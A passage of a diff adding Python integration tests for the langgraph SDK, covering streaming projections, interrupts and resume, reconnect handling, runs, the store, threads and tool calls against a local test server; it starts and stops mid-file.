"call_tool", + "ask_human", +] + + +async def test_extensions_async(async_threads) -> None: + threads, _ = async_threads + async with threads.stream(assistant_id=ASSISTANT_ID) as thread: + await thread.run.start(input={"messages": [], "value": "init", "items": []}) + + events: list[dict] = [] + async for event in thread.extensions["progress"]: + events.append(event) + + # Iterator exits at the `ask_human` interrupt via `_signal_paused`, + # so we capture exactly the pre-interrupt progress sequence. + steps = [e.get("step") for e in events] + assert steps == _EXPECTED_PRE_INTERRUPT_STEPS, ( + f"unexpected step sequence: {steps}" + ) + + +def test_extensions_sync(sync_threads) -> None: + threads, _ = sync_threads + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + thread.run.start(input={"messages": [], "value": "init", "items": []}) + + events: list[dict] = [] + for event in thread.extensions["progress"]: + events.append(event) + + steps = [e.get("step") for e in events] + assert steps == _EXPECTED_PRE_INTERRUPT_STEPS, ( + f"unexpected step sequence: {steps}" + ) diff --git a/libs/sdk-py/tests/integration/test_factory_graph.py b/libs/sdk-py/tests/integration/test_factory_graph.py new file mode 100644 index 0000000..5ffd0d9 --- /dev/null +++ b/libs/sdk-py/tests/integration/test_factory_graph.py @@ -0,0 +1,65 @@ +"""Factory-graph execution regression test. + +Unlike the other integration graphs (all pre-compiled), `factory_agent` is a +graph *factory*, so executing a run against it drives the server's graph-factory +code path. That path regressed in langgraph 1.2.3: a leaked `__pregel_runtime` +(an SDK `_ExecutionRuntime`) survived `ensure_config`'s configurable-merge into +`astream`, which then raised +`AttributeError: '_ExecutionRuntime' object has no attribute 'control'`. A +successful `runs.wait` here proves the factory path executes end to end. +""" + +from __future__ import annotations + +import pytest + +from .conftest import FACTORY_ASSISTANT_ID + +pytestmark = pytest.mark.integration + + +def _async_runs(raw): + from langgraph_sdk._async.http import HttpClient + from langgraph_sdk._async.runs import RunsClient + + return RunsClient(HttpClient(raw)) + + +def _sync_runs(raw): + from langgraph_sdk._sync.http import SyncHttpClient + from langgraph_sdk._sync.runs import SyncRunsClient + + return SyncRunsClient(SyncHttpClient(raw)) + + +async def test_factory_graph_executes_async(async_threads) -> None: + """A run against a factory graph completes and echoes the input.""" + threads, raw = async_threads + runs = _async_runs(raw) + thread = await threads.create( + metadata={"suite": "integration", "label": "factory-async"} + ) + tid = thread["thread_id"] + try: + result = await runs.wait(tid, FACTORY_ASSISTANT_ID, input={"text": "hi"}) + assert isinstance(result, dict), result + assert result.get("text") == "hi echoed" + assert result.get("access_context") == "threads.create_run" + assert result.get("is_for_execution") is True + finally: + await threads.delete(tid) + + +def test_factory_graph_executes_sync(sync_threads) -> None: + threads, raw = sync_threads + runs = _sync_runs(raw) + thread = threads.create(metadata={"suite": "integration", "label": "factory-sync"}) + tid = thread["thread_id"] + try: + result = runs.wait(tid, FACTORY_ASSISTANT_ID, input={"text": "hi"}) + assert isinstance(result, dict), result + assert result.get("text") == "hi echoed" + assert result.get("access_context") == "threads.create_run" + assert result.get("is_for_execution") is True + finally: + threads.delete(tid) diff --git a/libs/sdk-py/tests/integration/test_helpers.py b/libs/sdk-py/tests/integration/test_helpers.py new file mode 100644 index 0000000..0e57ba2 --- /dev/null +++ b/libs/sdk-py/tests/integration/test_helpers.py @@ -0,0 +1,43 @@ +"""`thread.agent.get_tree` and `thread.extensions` cache identity.""" + +from __future__ import annotations + +import pytest + +from .conftest import ASSISTANT_ID + +pytestmark = pytest.mark.integration + + +async def test_get_tree_and_extensions_cache_async(async_threads) -> None: + threads, _ = async_threads + async with threads.stream(assistant_id=ASSISTANT_ID) as thread: + tree = await thread.agent.get_tree() + assert tree, "expected non-empty tree" + node_ids = [n["id"] for n in tree.get("nodes", [])] + assert "stream_message" in node_ids + assert "ask_human" in node_ids + + tree_xray = await thread.agent.get_tree(xray=True) + assert set(tree_xray) >= {"nodes", "edges"} + + a = thread.extensions["progress"] + b = thread.extensions["progress"] + assert a is b, "expected cached projection instance on repeated access" + + +def test_get_tree_and_extensions_cache_sync(sync_threads) -> None: + threads, _ = sync_threads + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + tree = thread.agent.get_tree() + assert tree, "expected non-empty tree" + node_ids = [n["id"] for n in tree.get("nodes", [])] + assert "stream_message" in node_ids + assert "ask_human" in node_ids + + tree_xray = thread.agent.get_tree(xray=True) + assert set(tree_xray) >= {"nodes", "edges"} + + a = thread.extensions["progress"] + b = thread.extensions["progress"] + assert a is b, "expected cached projection instance on repeated access" diff --git a/libs/sdk-py/tests/integration/test_lifecycle.py b/libs/sdk-py/tests/integration/test_lifecycle.py new file mode 100644 index 0000000..d249cc5 --- /dev/null +++ b/libs/sdk-py/tests/integration/test_lifecycle.py @@ -0,0 +1,45 @@ +"""`thread.interrupted` / `thread.interrupts` / `run.respond` lifecycle.""" + +from __future__ import annotations + +import pytest + +from .conftest import ASSISTANT_ID, EXPECTED_TERMINAL_ITEMS + +pytestmark = pytest.mark.integration + + +async def test_lifecycle_async(async_threads) -> None: + threads, _ = async_threads + async with threads.stream(assistant_id=ASSISTANT_ID) as thread: + await thread.run.start(input={"messages": [], "value": "init", "items": []}) + + async for _snap in thread.values: + if thread.interrupted: + break + + assert thread.interrupted, "expected an interrupt" + assert thread.interrupts, "expected interrupts list to be populated" + + await thread.run.respond("yes") + final = await thread.output + assert "asked" in final.get("items", []) + assert final.get("items") == EXPECTED_TERMINAL_ITEMS + + +def test_lifecycle_sync(sync_threads) -> None: + threads, _ = sync_threads + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + thread.run.start(input={"messages": [], "value": "init", "items": []}) + + for _snap in thread.values: + if thread.interrupted: + break + + assert thread.interrupted, "expected an interrupt" + assert thread.interrupts, "expected interrupts list to be populated" + + thread.run.respond("yes") + final = thread.output + assert "asked" in final.get("items", []) + assert final.get("items") == EXPECTED_TERMINAL_ITEMS diff --git a/libs/sdk-py/tests/integration/test_messages.py b/libs/sdk-py/tests/integration/test_messages.py new file mode 100644 index 0000000..30ce9f1 --- /dev/null +++ b/libs/sdk-py/tests/integration/test_messages.py @@ -0,0 +1,37 @@ +"""`thread.messages` projection (outer iter + inner `.text` token deltas).""" + +from __future__ import annotations + +import pytest + +from .conftest import ASSISTANT_ID + +pytestmark = pytest.mark.integration + + +async def test_messages_async(async_threads) -> None: + threads, _ = async_threads + async with threads.stream(assistant_id=ASSISTANT_ID) as thread: + await thread.run.start(input={"messages": [], "value": "init", "items": []}) + + # Drain the outer iterator first; iterating each inner `stream.text` + # while the outer is suspended deadlocks. + streams = [s async for s in thread.messages] + assert streams, "expected at least one streamed message" + + for stream in streams: + text = "".join([t async for t in stream.text]) + assert text == "Hello, world!", f"unexpected message text: {text!r}" + + +def test_messages_sync(sync_threads) -> None: + threads, _ = sync_threads + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + thread.run.start(input={"messages": [], "value": "init", "items": []}) + + streams = list(thread.messages) + assert streams, "expected at least one streamed message" + + for stream in streams: + text = "".join(list(stream.text)) + assert text == "Hello, world!", f"unexpected message text: {text!r}" diff --git a/libs/sdk-py/tests/integration/test_reconnect.py b/libs/sdk-py/tests/integration/test_reconnect.py new file mode 100644 index 0000000..97a3f0d --- /dev/null +++ b/libs/sdk-py/tests/integration/test_reconnect.py @@ -0,0 +1,151 @@ +"""Mid-iteration SSE close + terminal-state recovery via REST.""" + +from __future__ import annotations + +import asyncio +import contextlib +import functools +import time +from typing import Any + +import pytest + +from .conftest import ASSISTANT_ID, EXPECTED_TERMINAL_ITEMS + +pytestmark = pytest.mark.integration + +_INTERRUPT_WAIT_SECONDS = 5.0 + + +def _instrument_dedup_async(controller: Any) -> dict[str, int]: + """Wrap `_dedup_iter` so duplicate event_ids are counted (no asserts here).""" + counter = {"drops": 0, "yields": 0} + original = controller._dedup_iter.__func__ # type: ignore[attr-defined] + + @functools.wraps(original) + async def _counted(self, source): # type: ignore[no-untyped-def] + async for event in source: + event_id = event.get("event_id") + if event_id is not None: + if event_id in self._seen_event_ids: + counter["drops"] += 1 + continue + self._seen_event_ids.add(event_id) + counter["yields"] += 1 + yield event + + # ty doesn't see through `@functools.wraps` to the descriptor protocol; this + # is the canonical method-binding pattern. + controller._dedup_iter = _counted.__get__(controller, type(controller)) # ty: ignore[unresolved-attribute] + return counter + + +def _instrument_dedup_sync(controller: Any) -> dict[str, int]: + counter = {"drops": 0, "yields": 0} + original = controller._dedup_iter.__func__ # type: ignore[attr-defined] + + @functools.wraps(original) + def _counted(self, source): # type: ignore[no-untyped-def] + for event in source: + event_id = event.get("event_id") + if event_id is not None: + if event_id in self._seen_event_ids: + counter["drops"] += 1 + continue + self._seen_event_ids.add(event_id) + counter["yields"] += 1 + yield event + + # ty doesn't see through `@functools.wraps` to the descriptor protocol; this + # is the canonical method-binding pattern. + controller._dedup_iter = _counted.__get__(controller, type(controller)) # ty: ignore[unresolved-attribute] + return counter + + +async def test_close_mid_iteration_async(async_threads) -> None: + """A client-initiated SSE close mid-iteration must not corrupt durable state.""" + threads, _ = async_threads + async with threads.stream(assistant_id=ASSISTANT_ID) as thread: + counter = _instrument_dedup_async(thread) + await thread.run.start(input={"messages": [], "value": "init", "items": []}) + + snapshots: list[dict] = [] + dropped = False + iteration_error: BaseException | None = None + try: + async for snap in thread.values: + snapshots.append(snap) + if not dropped and thread._shared_stream is not None: + await thread._shared_stream.close() + dropped = True + except BaseException as err: + iteration_error = err + + # The values iterator exits via the None sentinel pushed by `close()`, + # which can land before the lifecycle watcher observes `input.requested`. + # Poll briefly so the interrupt has a chance to arrive on its own SSE + # before we ask for terminal state. + deadline = asyncio.get_running_loop().time() + _INTERRUPT_WAIT_SECONDS + while not thread.interrupted and asyncio.get_running_loop().time() < deadline: + await asyncio.sleep(0.1) + + if thread.interrupted: + with contextlib.suppress(Exception): + await thread.run.respond("yes") + + final = await thread.output.with_timeout(_INTERRUPT_WAIT_SECONDS) + assert dropped, "expected to drop the shared stream during iteration" + assert snapshots, "expected at least one snapshot before the drop" + assert iteration_error is None, ( + f"values iterator raised on stream close: {iteration_error!r}" + ) + assert final.get("items") == EXPECTED_TERMINAL_ITEMS + # Graceful close should not produce duplicate event_ids since the SDK + # only reconnects (via `since=`) on a non-cancelled `shared.done`. + assert counter["drops"] == 0, ( + f"unexpected dedup activity (drops={counter['drops']}); " + "no rotation occurred so no overlap was expected" + ) + + +def test_close_mid_iteration_sync(sync_threads) -> None: + threads, _ = sync_threads + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + controller = thread._controller + counter = _instrument_dedup_sync(controller) + thread.run.start(input={"messages": [], "value": "init", "items": []}) + + snapshots: list[dict] = [] + dropped = False + iteration_error: BaseException | None = None + try: + for snap in thread.values: + snapshots.append(snap) + if ( + not dropped + and controller is not None + and controller._shared_stream is not None + ): + controller._shared_stream.close() + dropped = True + except BaseException as err: + iteration_error = err + + deadline = time.monotonic() + _INTERRUPT_WAIT_SECONDS + while not thread.interrupted and time.monotonic() < deadline: + time.sleep(0.1) + + if thread.interrupted: + with contextlib.suppress(Exception): + thread.run.respond("yes") + + final = thread.output + assert dropped, "expected to drop the shared stream during iteration" + assert snapshots, "expected at least one snapshot before the drop" + assert iteration_error is None, ( + f"values iterator raised on stream close: {iteration_error!r}" + ) + assert final.get("items") == EXPECTED_TERMINAL_ITEMS + assert counter["drops"] == 0, ( + f"unexpected dedup activity (drops={counter['drops']})" + ) diff --git a/libs/sdk-py/tests/integration/test_remote_graph_v3.py b/libs/sdk-py/tests/integration/test_remote_graph_v3.py new file mode 100644 index 0000000..4256213 --- /dev/null +++ b/libs/sdk-py/tests/integration/test_remote_graph_v3.py @@ -0,0 +1,133 @@ +"""Integration tests for RemoteGraph v3 streaming. + +Tests the end-to-end wiring: RemoteGraph -> langgraph_sdk client.threads.stream(...) -> +docker-running langgraph-api -> SSE projections -> adapter classes. + +Run with: pytest tests/integration/test_remote_graph_v3.py -m integration +""" + +from __future__ import annotations + +import uuid + +import pytest +from langchain_core.runnables import RunnableConfig +from langgraph.pregel.remote import RemoteGraph +from langgraph.types import Command + +pytestmark = pytest.mark.integration + +URL = "http://localhost:2024" + +# Input shapes matching what the integration graphs expect. +# `agent` graph (streaming_graph.py): AgentState has messages, value, items. +# `tools_agent` graph (tools_agent.py): create_agent graph expects messages list. +_AGENT_INPUT = {"messages": [], "value": "init", "items": []} +_TOOLS_AGENT_INPUT = {"messages": [{"role": "user", "content": "search for v3"}]} + + +@pytest.fixture +def remote_agent() -> RemoteGraph: + return RemoteGraph("agent", url=URL) + + +@pytest.fixture +def remote_tools_agent() -> RemoteGraph: + return RemoteGraph("tools_agent", url=URL) + + +async def test_async_happy_path_yields_output(remote_tools_agent: RemoteGraph) -> None: + """tools_agent completes without interrupt; ``await stream.output`` drives + the run to terminal via the lifecycle watcher (no explicit event iteration + needed — the SSE subscription stays open by design after run completion).""" + async with await remote_tools_agent.astream_events( + _TOOLS_AGENT_INPUT, + version="v3", + ) as stream: + output = await stream.output() + assert output is not None + assert (await stream.interrupted()) is False + + +async def test_async_interrupt_path_surfaces_interrupts( + remote_agent: RemoteGraph, +) -> None: + """agent graph hits ask_human; interrupted must be True with >= 1 interrupt. + + Note: interrupts pause the run but DON'T resolve `_run_done` (only + `completed` / `failed` lifecycle phases do), so `await stream.output()` + would hang. The adapter doesn't expose `interleave()` on the async + side (mirrors local `AsyncGraphRunStream`), so drain the `values` + projection directly until the run reports it is interrupted. + """ + async with await remote_agent.astream_events( + _AGENT_INPUT, + version="v3", + ) as stream: + async for _ in stream.values: + if await stream.interrupted(): + break + assert (await stream.interrupted()) is True + interrupts = await stream.interrupts() + assert len(interrupts) >= 1 + + +async def test_async_resume_after_interrupt(remote_agent: RemoteGraph) -> None: + """Interrupt the agent at ask_human, then resume the SAME thread with + `Command(resume=...)`. + + Validates the v3 resume path end-to-end. The client sends the raw resume + value as `input` (not a serialized Command); the server detects the + thread's pending interrupt from persisted state — which survives the first + session's close — and wraps it as `Command(resume=...)`, driving the run + past `ask_human` to completion (the graph interrupts only once). + """ + thread_id = str(uuid.uuid4()) + config: RunnableConfig = {"configurable": {"thread_id": thread_id}} + + # First session: drive until the agent pauses at the ask_human interrupt. + async with await remote_agent.astream_events( + _AGENT_INPUT, + config=config, + version="v3", + ) as stream: + async for _ in stream.values: + if await stream.interrupted(): + break + assert (await stream.interrupted()) is True + + # Second session on the same thread: resume with the human's answer. The + # run continues past ask_human to completion with no further interrupt. + async with await remote_agent.astream_events( + Command(resume="yes"), + config=config, + version="v3", + ) as stream: + output = await stream.output() + assert output is not None + assert (await stream.interrupted()) is False + + +def test_sync_happy_path_yields_output(remote_tools_agent: RemoteGraph) -> None: + """Sync stream: tools_agent completes; ``stream.output`` (sync property) + blocks until terminal.""" + with remote_tools_agent.stream_events( + _TOOLS_AGENT_INPUT, + version="v3", + ) as stream: + output = stream.output + assert output is not None + assert stream.interrupted is False + + +async def test_abort_mid_run_cancels_server_side( + remote_tools_agent: RemoteGraph, +) -> None: + """Abort immediately after run.start; reaching the end without exception + confirms abort + __aexit__ cleanup worked.""" + async with await remote_tools_agent.astream_events( + _TOOLS_AGENT_INPUT, + version="v3", + ) as stream: + await stream.abort() + # Reaching here without unhandled exceptions confirms abort + __aexit__ succeeded. diff --git a/libs/sdk-py/tests/integration/test_runs.py b/libs/sdk-py/tests/integration/test_runs.py new file mode 100644 index 0000000..8a64045 --- /dev/null +++ b/libs/sdk-py/tests/integration/test_runs.py @@ -0,0 +1,125 @@ +"""`RunsClient` non-streaming surface. + +`cancel` is covered in `test_cancel.py`. This file covers create / get / +list / wait. The canonical `agent` graph interrupts at `ask_human`, so a +plain `runs.create` lands in the `interrupted` state. We use +`interrupt_before=["ask_human"]` so the run pauses before the interrupting +node and reaches a deterministic non-success terminal. +""" + +from __future__ import annotations + +import pytest + +from .conftest import ASSISTANT_ID + +pytestmark = pytest.mark.integration + + +def _async_runs(raw): + from langgraph_sdk._async.http import HttpClient + from langgraph_sdk._async.runs import RunsClient + + return RunsClient(HttpClient(raw)) + + +def _sync_runs(raw): + from langgraph_sdk._sync.http import SyncHttpClient + from langgraph_sdk._sync.runs import SyncRunsClient + + return SyncRunsClient(SyncHttpClient(raw)) + + +async def test_runs_create_get_list_async(async_threads) -> None: + threads, raw = async_threads + runs = _async_runs(raw) + thread = await threads.create( + metadata={"suite": "integration", "label": "runs-async"} + ) + tid = thread["thread_id"] + try: + created = await runs.create( + tid, + ASSISTANT_ID, + input={"messages": [], "value": "init", "items": []}, + ) + run_id = created["run_id"] + assert created["thread_id"] == tid + + fetched = await runs.get(tid, run_id) + assert fetched["run_id"] == run_id + + listed = await runs.list(tid, limit=10) + assert any(r["run_id"] == run_id for r in listed) + finally: + await threads.delete(tid) + + +def test_runs_create_get_list_sync(sync_threads) -> None: + threads, raw = sync_threads + runs = _sync_runs(raw) + thread = threads.create(metadata={"suite": "integration", "label": "runs-sync"}) + tid = thread["thread_id"] + try: + created = runs.create( + tid, + ASSISTANT_ID, + input={"messages": [], "value": "init", "items": []}, + ) + run_id = created["run_id"] + assert created["thread_id"] == tid + + fetched = runs.get(tid, run_id) + assert fetched["run_id"] == run_id + + listed = runs.list(tid, limit=10) + assert any(r["run_id"] == run_id for r in listed) + finally: + threads.delete(tid) + + +async def test_runs_wait_async(async_threads) -> None: + """`wait` blocks until the run reaches a terminal state and returns its values.""" + threads, raw = async_threads + runs = _async_runs(raw) + thread = await threads.create( + metadata={"suite": "integration", "label": "wait-async"} + ) + tid = thread["thread_id"] + try: + # `interrupt_before` makes the run pause before `ask_human` rather + # than running into the dynamic `interrupt(...)` inside it; the run + # ends up in `interrupted` status with a deterministic terminal. + result = await runs.wait( + tid, + ASSISTANT_ID, + input={"messages": [], "value": "init", "items": []}, + interrupt_before=["ask_human"], + ) + # The result is the terminal `values` payload for this run. + assert isinstance(result, dict) + assert "items" in result + assert "streamed" in result["items"] + assert "tool" in result["items"] + finally: + await threads.delete(tid) + + +def test_runs_wait_sync(sync_threads) -> None: + threads, raw = sync_threads + runs = _sync_runs(raw) + thread = threads.create(metadata={"suite": "integration", "label": "wait-sync"}) + tid = thread["thread_id"] + try: + result = runs.wait( + tid, + ASSISTANT_ID, + input={"messages": [], "value": "init", "items": []}, + interrupt_before=["ask_human"], + ) + assert isinstance(result, dict) + assert "items" in result + assert "streamed" in result["items"] + assert "tool" in result["items"] + finally: + threads.delete(tid) diff --git a/libs/sdk-py/tests/integration/test_store.py b/libs/sdk-py/tests/integration/test_store.py new file mode 100644 index 0000000..bb80be6 --- /dev/null +++ b/libs/sdk-py/tests/integration/test_store.py @@ -0,0 +1,123 @@ +"""`StoreClient` against the integration API. + +Covers the put / get / search / list_namespaces / delete round-trip +under a unique-per-test namespace so concurrent runs don't collide. +""" + +from __future__ import annotations + +import uuid + +import pytest + +pytestmark = pytest.mark.integration + + +def _async_store(raw): + from langgraph_sdk._async.http import HttpClient + from langgraph_sdk._async.store import StoreClient + + return StoreClient(HttpClient(raw)) + + +def _sync_store(raw): + from langgraph_sdk._sync.http import SyncHttpClient + from langgraph_sdk._sync.store import SyncStoreClient + + return SyncStoreClient(SyncHttpClient(raw)) + + +def _unique_namespace(label: str) -> list[str]: + return ["test-integration", label, uuid.uuid4().hex[:12]] + + +async def test_store_put_get_delete_async(async_threads) -> None: + _, raw = async_threads + store = _async_store(raw) + ns = _unique_namespace("put-async") + key = "doc-1" + payload = {"title": "Hello", "body": "World"} + + await store.put_item(ns, key=key, value=payload) + try: + fetched = await store.get_item(ns, key=key) + assert fetched["value"] == payload + assert fetched["namespace"] == ns + assert fetched["key"] == key + finally: + await store.delete_item(ns, key=key) + + missing = await store.get_item(ns, key=key) + assert missing is None + + +def test_store_put_get_delete_sync(sync_threads) -> None: + _, raw = sync_threads + store = _sync_store(raw) + ns = _unique_namespace("put-sync") + key = "doc-1" + payload = {"title": "Hello", "body": "World"} + + store.put_item(ns, key=key, value=payload) + try: + fetched = store.get_item(ns, key=key) + assert fetched["value"] == payload + assert fetched["namespace"] == ns + assert fetched["key"] == key + finally: + store.delete_item(ns, key=key) + + missing = store.get_item(ns, key=key) + assert missing is None + + +async def test_store_search_and_list_namespaces_async(async_threads) -> None: + _, raw = async_threads + store = _async_store(raw) + ns = _unique_namespace("search-async") + await store.put_item(ns, key="a", value={"kind": "alpha"}) + await store.put_item(ns, key="b", value={"kind": "beta"}) + try: + search = await store.search_items(ns, limit=10) + items = search.get("items", search) if isinstance(search, dict) else search + keys = sorted(i["key"] for i in items) + assert keys == ["a", "b"] + + namespaces_result = await store.list_namespaces(prefix=ns[:1], limit=100) + namespaces = ( + namespaces_result.get("namespaces", namespaces_result) + if isinstance(namespaces_result, dict) + else namespaces_result + ) + assert any(list(found) == ns for found in namespaces), ( + f"namespace {ns!r} not in list_namespaces result" + ) + finally: + await store.delete_item(ns, key="a") + await store.delete_item(ns, key="b") + + +def test_store_search_and_list_namespaces_sync(sync_threads) -> None: + _, raw = sync_threads + store = _sync_store(raw) + ns = _unique_namespace("search-sync") + store.put_item(ns, key="a", value={"kind": "alpha"}) + store.put_item(ns, key="b", value={"kind": "beta"}) + try: + search = store.search_items(ns, limit=10) + items = search.get("items", search) if isinstance(search, dict) else search + keys = sorted(i["key"] for i in items) + assert keys == ["a", "b"] + + namespaces_result = store.list_namespaces(prefix=ns[:1], limit=100) + namespaces = ( + namespaces_result.get("namespaces", namespaces_result) + if isinstance(namespaces_result, dict) + else namespaces_result + ) + assert any(list(found) == ns for found in namespaces), ( + f"namespace {ns!r} not in list_namespaces result" + ) + finally: + store.delete_item(ns, key="a") + store.delete_item(ns, key="b") diff --git a/libs/sdk-py/tests/integration/test_subgraphs.py b/libs/sdk-py/tests/integration/test_subgraphs.py new file mode 100644 index 0000000..dda35f3 --- /dev/null +++ b/libs/sdk-py/tests/integration/test_subgraphs.py @@ -0,0 +1,52 @@ +"""`thread.subgraphs` discovery against `agent` and `deep_agent`. + +`deep_agent` uses `FakeMessagesListChatModel` for both supervisor and +researcher, so this suite is hermetic (no LLM API key required). +""" + +from __future__ import annotations + +import pytest + +from .conftest import ASSISTANT_ID, DEEP_AGENT_ASSISTANT_ID + +pytestmark = pytest.mark.integration + + +async def test_subgraphs_agent_async(async_threads) -> None: + """Plain nested `StateGraph.invoke` does not produce a scoped child handle.""" + threads, _ = async_threads + async with threads.stream(assistant_id=ASSISTANT_ID) as thread: + await thread.run.start(input={"messages": [], "value": "init", "items": []}) + handles = [h async for h in thread.subgraphs] + # Documented behavior: plain nested invokes do not show up as scoped + # child handles; the canonical signal is `create_deep_agent`. + assert handles == [] + + +def test_subgraphs_agent_sync(sync_threads) -> None: + threads, _ = sync_threads + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + thread.run.start(input={"messages": [], "value": "init", "items": []}) + handles = list(thread.subgraphs) + assert handles == [] + + +async def test_subgraphs_deep_agent_async(async_threads) -> None: + threads, _ = async_threads + async with threads.stream(assistant_id=DEEP_AGENT_ASSISTANT_ID) as thread: + await thread.run.start( + input={"messages": [{"role": "user", "content": "research the v3 spec"}]}, + ) + handles = [h async for h in thread.subgraphs] + assert handles, "deep_agent should produce at least one direct-child handle" + + +def test_subgraphs_deep_agent_sync(sync_threads) -> None: + threads, _ = sync_threads + with threads.stream(assistant_id=DEEP_AGENT_ASSISTANT_ID) as thread: + thread.run.start( + input={"messages": [{"role": "user", "content": "research the v3 spec"}]}, + ) + handles = list(thread.subgraphs) + assert handles, "deep_agent should produce at least one direct-child handle" diff --git a/libs/sdk-py/tests/integration/test_threads_crud.py b/libs/sdk-py/tests/integration/test_threads_crud.py new file mode 100644 index 0000000..c2dc23d --- /dev/null +++ b/libs/sdk-py/tests/integration/test_threads_crud.py @@ -0,0 +1,124 @@ +"""`ThreadsClient` non-streaming CRUD surface. + +`stream` and `update_state` are covered elsewhere; this file covers +create / get / delete / search / copy / get_history. +""" + +from __future__ import annotations + +import pytest + +from .conftest import ASSISTANT_ID + +pytestmark = pytest.mark.integration + + +async def test_threads_create_get_delete_async(async_threads) -> None: + threads, _ = async_threads + created = await threads.create( + metadata={"suite": "integration", "label": "crud-async"} + ) + tid = created["thread_id"] + try: + fetched = await threads.get(tid) + assert fetched["thread_id"] == tid + assert fetched["metadata"]["label"] == "crud-async" + finally: + await threads.delete(tid) + + +def test_threads_create_get_delete_sync(sync_threads) -> None: + threads, _ = sync_threads + created = threads.create(metadata={"suite": "integration", "label": "crud-sync"}) + tid = created["thread_id"] + try: + fetched = threads.get(tid) + assert fetched["thread_id"] == tid + assert fetched["metadata"]["label"] == "crud-sync" + finally: + threads.delete(tid) + + +async def test_threads_search_async(async_threads) -> None: + threads, _ = async_threads + created = await threads.create( + metadata={"suite": "integration", "label": "search-async"} + ) + tid = created["thread_id"] + try: + results = await threads.search(metadata={"label": "search-async"}, limit=10) + assert any(t["thread_id"] == tid for t in results) + finally: + await threads.delete(tid) + + +def test_threads_search_sync(sync_threads) -> None: + threads, _ = sync_threads + created = threads.create(metadata={"suite": "integration", "label": "search-sync"}) + tid = created["thread_id"] + try: + results = threads.search(metadata={"label": "search-sync"}, limit=10) + assert any(t["thread_id"] == tid for t in results) + finally: + threads.delete(tid) + + +async def test_threads_copy_async(async_threads) -> None: + threads, _ = async_threads + src = await threads.create( + metadata={"suite": "integration", "label": "copy-async-src"} + ) + src_id = src["thread_id"] + try: + copied = await threads.copy(src_id) + copy_id = copied["thread_id"] + try: + assert copy_id != src_id + finally: + await threads.delete(copy_id) + finally: + await threads.delete(src_id) + + +def test_threads_copy_sync(sync_threads) -> None: + threads, _ = sync_threads + src = threads.create(metadata={"suite": "integration", "label": "copy-sync-src"}) + src_id = src["thread_id"] + try: + copied = threads.copy(src_id) + copy_id = copied["thread_id"] + try: + assert copy_id != src_id + finally: + threads.delete(copy_id) + finally: + threads.delete(src_id) + + +async def test_threads_history_after_run_async(async_threads) -> None: + """A completed run produces at least one checkpoint in history.""" + threads, _ = async_threads + async with threads.stream(assistant_id=ASSISTANT_ID) as thread: + await thread.run.start(input={"messages": [], "value": "init", "items": []}) + async for _ in thread.values: + if thread.interrupted: + break + if thread.interrupted: + await thread.run.respond("yes") + await thread.output + history = await threads.get_history(thread.thread_id, limit=20) + assert history, "expected at least one checkpoint after a completed run" + + +def test_threads_history_after_run_sync(sync_threads) -> None: + threads, _ = sync_threads + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + thread.run.start(input={"messages": [], "value": "init", "items": []}) + for _ in thread.values: + if thread.interrupted: + break + if thread.interrupted: + thread.run.respond("yes") + _ = thread.output # force terminal-state fetch; value unused + history = threads.get_history(thread.thread_id, limit=20) + assert history, "expected at least one checkpoint after a completed run" diff --git a/libs/sdk-py/tests/integration/test_tools.py b/libs/sdk-py/tests/integration/test_tools.py new file mode 100644 index 0000000..47ee1c5 --- /dev/null +++ b/libs/sdk-py/tests/integration/test_tools.py @@ -0,0 +1,51 @@ +"""`thread.tool_calls` against the `tools_agent` graph.""" + +from __future__ import annotations + +import pytest + +from .conftest import TOOLS_ASSISTANT_ID + +pytestmark = pytest.mark.integration + + +async def test_tools_async(async_threads) -> None: + threads, _ = async_threads + async with threads.stream(assistant_id=TOOLS_ASSISTANT_ID) as thread: + await thread.run.start( + input={"messages": [{"role": "human", "content": "search for v3"}]} + ) + + # Drain the outer iterator first; iterating each handle's `.deltas` + # while the outer is suspended deadlocks. + handles = [h async for h in thread.tool_calls] + assert handles, "expected at least one tool call handle" + assert any(h.name == "search" for h in handles), "expected `search` tool call" + + for handle in handles: + deltas = "".join([d async for d in handle.deltas]) + output = await handle.output + assert output.get("status") == "success", ( + f"tool {handle.name} non-success output: {output!r}" + ) + # The `tools_agent` fake model returns the tool call args pre-built, + # so the streamed args buffer is empty by design. + assert isinstance(deltas, str) + + +def test_tools_sync(sync_threads) -> None: + threads, _ = sync_threads + with threads.stream(assistant_id=TOOLS_ASSISTANT_ID) as thread: + thread.run.start( + input={"messages": [{"role": "human", "content": "search for v3"}]} + ) + + handles = list(thread.tool_calls) + assert handles, "expected at least one tool call handle" + assert any(h.name == "search" for h in handles), "expected `search` tool call" + + for handle in handles: + deltas = "".join(list(handle.deltas)) + output = handle.output + assert output.get("status") == "success" + assert isinstance(deltas, str) diff --git a/libs/sdk-py/tests/integration/test_update_state.py b/libs/sdk-py/tests/integration/test_update_state.py new file mode 100644 index 0000000..2387eb3 --- /dev/null +++ b/libs/sdk-py/tests/integration/test_update_state.py @@ -0,0 +1,103 @@ +"""`threads.update_state(...)` during an interrupt persists the mutation.""" + +from __future__ import annotations + +import asyncio +import time + +import pytest + +from langgraph_sdk.errors import ConflictError + +from .conftest import ASSISTANT_ID + +pytestmark = pytest.mark.integration + +_PATCHED_VALUE = "patched" +_UPDATE_STATE_RETRY_BUDGET = 5.0 + + +async def _update_state_with_retry_async(threads, thread_id, values) -> None: + """`thread.interrupted` flips before the server commits the run row; retry briefly.""" + delay = 0.05 + deadline = asyncio.get_running_loop().time() + _UPDATE_STATE_RETRY_BUDGET + last_err: Exception | None = None + while asyncio.get_running_loop().time() < deadline: + try: + await threads.update_state(thread_id, values) + return + except ConflictError as err: + last_err = err + await asyncio.sleep(delay) + delay = min(delay * 2, 0.5) + raise AssertionError( + f"update_state never accepted within {_UPDATE_STATE_RETRY_BUDGET}s: {last_err!r}" + ) + + +def _update_state_with_retry_sync(threads, thread_id, values) -> None: + delay = 0.05 + deadline = time.monotonic() + _UPDATE_STATE_RETRY_BUDGET + last_err: Exception | None = None + while time.monotonic() < deadline: + try: + threads.update_state(thread_id, values) + return + except ConflictError as err: + last_err = err + time.sleep(delay) + delay = min(delay * 2, 0.5) + raise AssertionError( + f"update_state never accepted within {_UPDATE_STATE_RETRY_BUDGET}s: {last_err!r}" + ) + + +async def test_update_state_async(async_threads) -> None: + threads, _ = async_threads + async with 